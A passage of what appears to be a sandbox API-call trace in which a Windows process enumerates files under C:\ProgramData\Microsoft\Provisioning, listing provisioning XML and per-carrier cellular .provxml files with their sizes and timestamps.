nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0272.941] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0272.941] GetProcessHeap () returned 0xc10000 [0272.941] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d1fa0 | out: hHeap=0xc10000) returned 1 [0272.941] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0272.942] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0272.942] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0272.942] GetProcessHeap () returned 0xc10000 [0272.942] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0272.942] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0272.942] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0272.942] GetProcessHeap () returned 0xc10000 [0272.942] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0272.942] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c5dc3753-b6c8-4057-b396-bf13d769311c}", cAlternateFileName="{C5DC3~1")) returned 1 [0272.942] GetProcessHeap () returned 0xc10000 [0272.942] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.942] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0272.943] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.943] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0272.944] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0272.944] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0272.944] GetProcessHeap () returned 0xc10000 [0272.944] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0272.944] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0272.945] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.945] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0272.945] GetProcessHeap () returned 0xc10000 [0272.945] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d1fa0 [0272.945] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0272.946] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.946] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f7b887, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f7b887, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f7b887, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0272.946] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f7b887, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f7b887, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f7b887, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0272.946] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0272.946] GetProcessHeap () returned 0xc10000 [0272.946] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d1fa0 | out: hHeap=0xc10000) returned 1 [0272.946] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0272.946] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0272.947] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0272.947] GetProcessHeap () returned 0xc10000 [0272.947] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0272.947] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0272.947] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0272.947] GetProcessHeap () returned 0xc10000 [0272.947] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0272.947] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c8a326e4-f518-4f14-b543-97a57e1a975e}", cAlternateFileName="{C8A32~1")) returned 1 [0272.947] GetProcessHeap () returned 0xc10000 [0272.947] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.947] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0272.950] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.951] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930c721b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x930c721b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x930c721b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x9ba5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0272.951] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0272.951] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0272.951] GetProcessHeap () returned 0xc10000 [0272.951] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0272.951] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0272.951] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.951] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2270dc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2270dc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0272.951] GetProcessHeap () returned 0xc10000 [0272.951] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d1fa0 [0272.952] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2270dc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2270dc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0272.956] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2270dc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2270dc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.959] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900a4472, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900a4472, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900ca6de, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="0__CON~1.PRO")) returned 1 [0272.959] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90437e87, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90437e87, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90437e87, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x292, dwReserved0=0x0, dwReserved1=0x0, cFileName="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", cAlternateFileName="100__C~1.PRO")) returned 1 [0272.959] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90437e87, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90437e87, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90437e87, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="101__C~1.PRO")) returned 1 [0272.959] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90437e87, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90437e87, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90437e87, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", cAlternateFileName="102__C~1.PRO")) returned 1 [0272.959] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9045e0ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29e, dwReserved0=0x0, dwReserved1=0x0, cFileName="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", cAlternateFileName="103__C~1.PRO")) returned 1 [0272.959] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9045e0ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x0, dwReserved1=0x0, cFileName="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="104__C~1.PRO")) returned 1 [0272.959] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9045e0ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="105__C~1.PRO")) returned 1 [0272.959] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9045e0ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", cAlternateFileName="106__C~1.PRO")) returned 1 [0272.960] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x360, dwReserved0=0x0, dwReserved1=0x0, cFileName="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", cAlternateFileName="107__C~1.PRO")) returned 1 [0272.960] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", 